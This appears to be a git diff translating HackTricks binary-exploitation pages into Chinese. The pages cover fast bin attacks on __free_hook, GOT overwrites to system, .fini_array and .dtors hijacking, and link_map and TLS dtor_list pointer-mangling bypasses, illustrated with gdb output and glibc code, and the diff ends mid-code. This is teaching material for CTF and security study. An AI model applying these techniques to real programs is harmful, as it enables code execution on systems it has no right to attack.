-In the mentioned break in the previous code in `$eax` will be located the address of the free hook. +在前面代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。 -Now a **fast bin attack** is performed: +现在进行一个 **fast bin attack**: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- 首先发现可以在 **`__free_hook`** 位置处理大小为 200 的快速 **chunks**: -
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-  gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-  0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-  0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-  
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> +gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 +0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 +0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +- 如果我们能够在这个位置获取一个大小为 0x200 的快速 chunk,就可以覆盖一个将被执行的函数指针 +- 为此,创建一个大小为 `0xfc` 的新 chunk,并用该指针调用合并函数两次,这样我们就可以在快速 bin 中获得一个大小为 `0xfc*2 = 0x1f8` 的已释放 chunk 的指针。 +- 然后,在这个 chunk 中调用编辑函数,将这个快速 bin 的 **`fd`** 地址修改为指向之前的 **`__free_hook`** 函数。 +- 接着,创建一个大小为 `0x1f8` 的 chunk,从快速 bin 中检索之前无用的 chunk,因此再创建一个大小为 `0x1f8` 的 chunk,以在 **`__free_hook`** 中获取一个快速 bin chunk,并用 **`system`** 函数的地址覆盖它。 +- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk,调用删除函数,触发指向系统的 **`__free_hook`** 函数,参数为 `/bin/sh\x00`。 -## References +## 参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ad09ee48e..d44c1b806 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,63 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **基本信息** -### **GOT: Global Offset Table** +### **GOT: 全局偏移表** -The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. +**全局偏移表 (GOT)** 是一种用于动态链接二进制文件的机制,用于管理 **外部函数的地址**。由于这些 **地址在运行时才会被知道**(由于动态链接),GOT 提供了一种方法来 **在解析后动态更新这些外部符号的地址**。 -Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. +GOT 中的每个条目对应于二进制文件可能调用的外部库中的一个符号。当 **函数第一次被调用时,其实际地址由动态链接器解析并存储在 GOT 中**。对同一函数的后续调用使用存储在 GOT 中的地址,从而避免了再次解析地址的开销。 -### **PLT: Procedure Linkage Table** +### **PLT: 过程链接表** -The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. +**过程链接表 (PLT)** 与 GOT 密切合作,作为处理对外部函数调用的跳板。当二进制文件 **第一次调用外部函数时,控制权会传递给与该函数关联的 PLT 中的一个条目**。这个 PLT 条目负责调用动态链接器来解析函数的地址,如果该地址尚未被解析。地址解析后,它会存储在 **GOT** 中。 -**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. +**因此,** 一旦外部函数或变量的地址被解析,GOT 条目就会被直接使用。**PLT 条目用于通过动态链接器促进这些地址的初始解析**。 -## Get Execution +## 获取执行 -### Check the GOT +### 检查 GOT -Get the address to the GOT table with: **`objdump -s -j .got ./exec`** +获取 GOT 表的地址:**`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` +观察在 GEF 中 **加载** **可执行文件** 后,您可以 **看到** **GOT** 中的 **函数**:`gef➤ x/20x 0xADDR_GOT` ![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +使用 GEF,您可以 **开始** 一个 **调试** 会话并执行 **`got`** 以查看 GOT 表: ![](<../../images/image (496).png>) ### GOT2Exec -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. +在二进制文件中,GOT 包含 **函数的地址或** 指向将加载函数地址的 **PLT** 部分。这个任意写入的目标是 **覆盖一个将要被执行的函数的 GOT 条目**,例如用 **`system`** **函数** 的 **PLT** 地址。 -Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +理想情况下,您将 **覆盖** 一个 **将被调用并由您控制参数的函数**(这样您就可以控制传递给系统函数的参数)。 -If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. +如果 **`system`** **未被** 二进制文件使用,系统函数 **将不会** 在 PLT 中有条目。在这种情况下,您需要 **首先泄漏 `system` 函数的地址**,然后覆盖 GOT 以指向该地址。 -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +您可以使用 **`objdump -j .plt -d ./vuln_binary`** 查看 PLT 地址。 -## libc GOT entries +## libc GOT 条目 -The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +**libc 的 GOT** 通常编译为 **部分 RELRO**,这使其成为一个不错的目标,假设可以找出其地址([**ASLR**](../common-binary-protections-and-bypasses/aslr/))。 -Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. +libc 的常见函数将调用 **其他内部函数**,其 GOT 可以被覆盖以获得代码执行。 -Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +在这里找到 [**更多关于此技术的信息**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)。 ### **Free2system** -In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. +在堆利用 CTF 中,通常可以控制块的内容,并在某些时候甚至覆盖 GOT 表。如果没有可用的 RCE gadget,一个简单的技巧是将 `free` GOT 地址覆盖为指向 `system`,并在一个块中写入 `"/bin/sh"`。这样,当这个块被释放时,它将执行 `system("/bin/sh")`。 ### **Strlen2system** -Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. +另一种常见技术是将 **`strlen`** GOT 地址覆盖为指向 **`system`**,因此如果此函数使用用户输入被调用,则可以传递字符串 `"/bin/sh"` 并获得一个 shell。 -Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. +此外,如果 `puts` 使用用户输入,则可以将 `strlen` GOT 地址覆盖为指向 `system`,并传递字符串 `"/bin/sh"` 以获得一个 shell,因为 **`puts` 将使用用户输入调用 `strlen`**。 ## **One Gadget** @@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusing GOT from Heap** +## **从堆滥用 GOT** -A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ -Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. +从堆漏洞获得 RCE 的一种常见方法是滥用 fastbin,以便可以将 GOT 表的一部分添加到 fast bin 中,因此每当分配该块时,就可以 **覆盖一个函数的指针,通常是 `free`**。\ +然后,将 `free` 指向 `system`,并释放一个写入了 `/bin/sh\x00` 的块将执行一个 shell。 -It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** +可以在这里找到一个 [**示例**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。** -## **Protections** +## **保护** -The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: +**完全 RELRO** 保护旨在通过在二进制文件启动时解析所有函数的地址并在之后使 **GOT 表只读** 来防止这种技术: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## References +## 参考 - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 31e45fba4..82c1a5601 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -5,52 +5,48 @@ ## .dtors > [!CAUTION] -> Nowadays is very **weird to find a binary with a .dtors section!** +> 现在找到一个带有 .dtors 部分的二进制文件是非常**奇怪的**! -The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ -The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. - -Get the address of this section with: +析构函数是在程序结束之前(在 `main` 函数返回后)**执行**的函数。\ +这些函数的地址存储在二进制文件的 **`.dtors`** 部分,因此,如果你设法将 **地址** 写入 **`__DTOR_END__`** 的 **shellcode**,那么它将在程序结束之前被 **执行**。 +获取此部分的地址: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` - -Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +通常,您会在值 `ffffffff` 和 `00000000` 之间找到 **DTOR** 标记。因此,如果您只看到这些值,这意味着 **没有注册任何函数**。所以 **用** **shellcode** 的 **地址** **覆盖** **`00000000`** 以执行它。 > [!WARNING] -> Ofc, you first need to find a **place to store the shellcode** in order to later call it. +> 当然,您首先需要找到一个 **存储 shellcode 的地方** 以便稍后调用它。 ## **.fini_array** -Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. - +本质上,这是一个在程序结束之前会被调用的 **函数** 结构,类似于 **`.dtors`**。如果您可以通过 **跳转到一个地址** 来调用您的 **shellcode**,或者在需要 **再次返回 `main`** 以 **第二次利用漏洞** 的情况下,这一点很有趣。 ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +注意,当执行 **`.fini_array`** 中的一个函数时,它会移动到下一个函数,因此不会被多次执行(防止永恒循环),但它只会给你在这里放置的 1 次 **函数执行**。 -Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. +注意,`.fini_array` 中的条目是按 **反向** 顺序调用的,因此你可能想从最后一个开始写。 -Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. +#### 永恒循环 -#### Eternal loop +为了利用 **`.fini_array`** 造成一个永恒循环,你可以 [**查看这里做了什么**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** 如果你在 **`.fini_array`** 中至少有 2 个条目,你可以: -In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - -- Use your first write to **call the vulnerable arbitrary write function** again -- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** - - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again. +- 使用你的第一次写入来 **再次调用易受攻击的任意写入函数** +- 然后,计算由 **`__libc_csu_fini`** 存储在栈中的返回地址(调用所有 `.fini_array` 函数的函数),并将 **`__libc_csu_fini`** 的 **地址** 放在那里 +- 这将使 **`__libc_csu_fini`** 再次调用自己,执行 **`.fini_array`** 函数,这将使易受攻击的 WWW 函数被调用 2 次:一次用于 **任意写入**,另一次用于再次覆盖栈上 **`__libc_csu_fini`** 的返回地址以再次调用自己。 > [!CAUTION] -> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. -> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. +> 注意,在 [**完全 RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** 部分 **`.fini_array`** 被设置为 **只读**。 +> 在较新的版本中,即使是 [**部分 RELRO**],部分 **`.fini_array`** 也被设置为 **只读**。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97c286231..ed9d959f6 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -1,39 +1,38 @@ -# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers +# WWW2Exec - atexit(), TLS存储和其他混淆指针 {{#include ../../banners/hacktricks-training.md}} -## **\_\_atexit Structures** +## **\_\_atexit 结构** > [!CAUTION] -> Nowadays is very **weird to exploit this!** +> 现在利用这个是非常**奇怪的!** -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** 是一个函数,**其他函数作为参数传递给它。** 这些 **函数** 将在执行 **`exit()`** 或 **main** 的 **返回** 时被 **执行**。\ +如果你能 **修改** 任何这些 **函数** 的 **地址** 使其指向一个 shellcode,例如,你将 **获得对进程的控制**,但这目前更复杂。\ +目前要执行的 **函数地址** 被 **隐藏** 在几个结构后,最终指向的地址不是函数的地址,而是 **用 XOR 加密** 和 **随机密钥** 的位移。因此,目前这个攻击向量在 **x86** 和 **x64_86** 上 **不是很有用**。\ +**加密函数** 是 **`PTR_MANGLE`**。 **其他架构** 如 m68k、mips32、mips64、aarch64、arm、hppa... **不实现加密** 函数,因为它 **返回与输入相同** 的内容。因此,这些架构可以通过这个向量进行攻击。 -You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +你可以在 [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) 找到关于这个如何工作的详细解释。 ## link_map -As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. +如 [**在这篇文章中**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure) 所述,如果程序通过 `return` 或 `exit()` 退出,它将运行 `__run_exit_handlers()`,这将调用注册的析构函数。 > [!CAUTION] -> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. - -The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +> 如果程序通过 **`_exit()`** 函数退出,它将调用 **`exit` syscall**,并且退出处理程序将不会被执行。因此,为了确认 `__run_exit_handlers()` 被执行,你可以在它上面设置一个断点。 +重要代码是 ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) - { - ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); - size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); +{ +ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); +size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); - while (sz-- > 0) - ((fini_t) array[sz]) (); - } - [...] +while (sz-- > 0) +((fini_t) array[sz]) (); +} +[...] @@ -41,198 +40,187 @@ if (fini_array != NULL) // This is the d_un structure ptype l->l_info[DT_FINI_ARRAY]->d_un type = union { - Elf64_Xword d_val; // address of function that will be called, we put our onegadget here - Elf64_Addr d_ptr; // offset from l->l_addr of our structure +Elf64_Xword d_val; // address of function that will be called, we put our onegadget here +Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` +注意 `map -> l_addr + fini_array -> d_un.d_ptr` 是如何用来**计算**要调用的**函数数组**的位置的。 -Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. +有**几种选择**: -There are a **couple of options**: - -- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array. - - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. - -Following the previous code you can find another interesting section with the code: +- 覆盖 `map->l_addr` 的值,使其指向一个**假的 `fini_array`**,其中包含执行任意代码的指令 +- 覆盖 `l_info[DT_FINI_ARRAY]` 和 `l_info[DT_FINI_ARRAYSZ]` 条目(在内存中大致是连续的),使它们**指向一个伪造的 `Elf64_Dyn`** 结构,这将使**`array` 再次指向攻击者控制的内存**区域。 +- [**这个写作**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) 用一个控制的内存地址覆盖 `l_info[DT_FINI_ARRAY]`,该地址在 `.bss` 中包含一个假的 `fini_array`。这个假数组首先包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **地址**,将被执行,然后是这个**假数组**的地址与**`map->l_addr`**的值之间的**差值**,使得 `*array` 指向假数组。 +- 根据该技术的主要帖子和[**这个写作**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet),ld.so 在栈上留下一个指向 ld.so 中二进制 `link_map` 的指针。通过任意写入,可以覆盖它并使其指向一个由攻击者控制的假 `fini_array`,其中包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)的地址,例如。 +在前面的代码之后,您可以找到另一个有趣的代码部分: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; if (fini != NULL) - DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); +DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` +在这种情况下,可以覆盖指向伪造的 `ElfW(Dyn)` 结构的 `map->l_info[DT_FINI]` 的值。找到 [**更多信息这里**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)。 -In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +## 在 **`__run_exit_handlers`** 中覆盖 TLS-Storage dtor_list -## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** - -As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered. - -Code from `_run_exit_handlers()`: +正如 [**这里解释的**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite),如果程序通过 `return` 或 `exit()` 退出,它将执行 **`__run_exit_handlers()`**,该函数将调用任何注册的析构函数。 +来自 `_run_exit_handlers()` 的代码: ```c /* Call all functions registered with `atexit' and `on_exit', - in the reverse of the order in which they were registered - perform stdio cleanup, and terminate program execution with STATUS. */ +in the reverse of the order in which they were registered +perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, - bool run_list_atexit, bool run_dtors) +bool run_list_atexit, bool run_dtors) { - /* First, call the TLS destructors. */ +/* First, call the TLS destructors. */ #ifndef SHARED - if (&__call_tls_dtors != NULL) +if (&__call_tls_dtors != NULL) #endif - if (run_dtors) - __call_tls_dtors (); +if (run_dtors) +__call_tls_dtors (); ``` - -Code from **`__call_tls_dtors()`**: - +**`__call_tls_dtors()`** 的代码: ```c typedef void (*dtor_func) (void *); struct dtor_list //struct added { - dtor_func func; - void *obj; - struct link_map *map; - struct dtor_list *next; +dtor_func func; +void *obj; +struct link_map *map; +struct dtor_list *next; }; [...] /* Call the destructors. This is called either when a thread returns from the - initial function or when the process exits via the exit function. */ +initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { - while (tls_dtor_list) // parse the dtor_list chained structures - { - struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list - dtor_func func = cur->func; - PTR_DEMANGLE (func); // demangle the function ptr +while (tls_dtor_list) // parse the dtor_list chained structures +{ +struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list +dtor_func func = cur->func; +PTR_DEMANGLE (func); // demangle the function ptr - tls_dtor_list = tls_dtor_list->next; // next dtor_list structure - func (cur->obj); - [...] - } +tls_dtor_list = tls_dtor_list->next; // next dtor_list structure +func (cur->obj); +[...] +} } ``` +对于 **`tls_dtor_list`** 中的每个注册函数,它将从 **`cur->func`** 解码指针,并使用参数 **`cur->obj`** 调用它。 -For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. - -Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\ -Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.** - -Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits: +使用这个 [**GEF 的分支**](https://github.com/bata24/gef) 中的 **`tls`** 函数,可以看到实际上 **`dtor_list`** 非常 **接近** **栈保护** 和 **PTR_MANGLE cookie**。因此,通过对其进行溢出,可以 **覆盖** **cookie** 和 **栈保护**。\ +覆盖 PTR_MANGLE cookie,将其设置为 0x00,将意味着用于获取真实地址的 **`xor`** 只是配置的地址。然后,通过写入 **`dtor_list`**,可以 **链接多个函数** 及其 **地址** 和 **参数**。 +最后注意,存储的指针不仅会与 cookie 进行异或运算,还会旋转 17 位: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` +在添加新地址之前,您需要考虑这一点。 -So you need to take this into account before adding a new address. +在[**原始帖子**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)中找到一个示例。 -Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). +## **`__run_exit_handlers`** 中的其他损坏指针 -## Other mangled pointers in **`__run_exit_handlers`** - -This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called. - -Let's check more code of this function: +此技术在[**这里解释**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite),并再次依赖于程序**退出调用 `return` 或 `exit()`**,因此调用**`__run_exit_handlers()`**。 +让我们检查一下该函数的更多代码: ```c - while (true) - { - struct exit_function_list *cur; +while (true) +{ +struct exit_function_list *cur; - restart: - cur = *listp; +restart: +cur = *listp; - if (cur == NULL) - { - /* Exit processing complete. We will not allow any more - atexit/on_exit registrations. */ - __exit_funcs_done = true; - break; - } +if (cur == NULL) +{ +/* Exit processing complete. We will not allow any more +atexit/on_exit registrations. */ +__exit_funcs_done = true; +break; +} - while (cur->idx > 0) - { - struct exit_function *const f = &cur->fns[--cur->idx]; - const uint64_t new_exitfn_called = __new_exitfn_called; +while (cur->idx > 0) +{ +struct exit_function *const f = &cur->fns[--cur->idx]; +const uint64_t new_exitfn_called = __new_exitfn_called; - switch (f->flavor) - { - void (*atfct) (void); - void (*onfct) (int status, void *arg); - void (*cxafct) (void *arg, int status); - void *arg; +switch (f->flavor) +{ +void (*atfct) (void); +void (*onfct) (int status, void *arg); +void (*cxafct) (void *arg, int status); +void *arg; - case ef_free: - case ef_us: - break; - case ef_on: - onfct = f->func.on.fn; - arg = f->func.on.arg; - 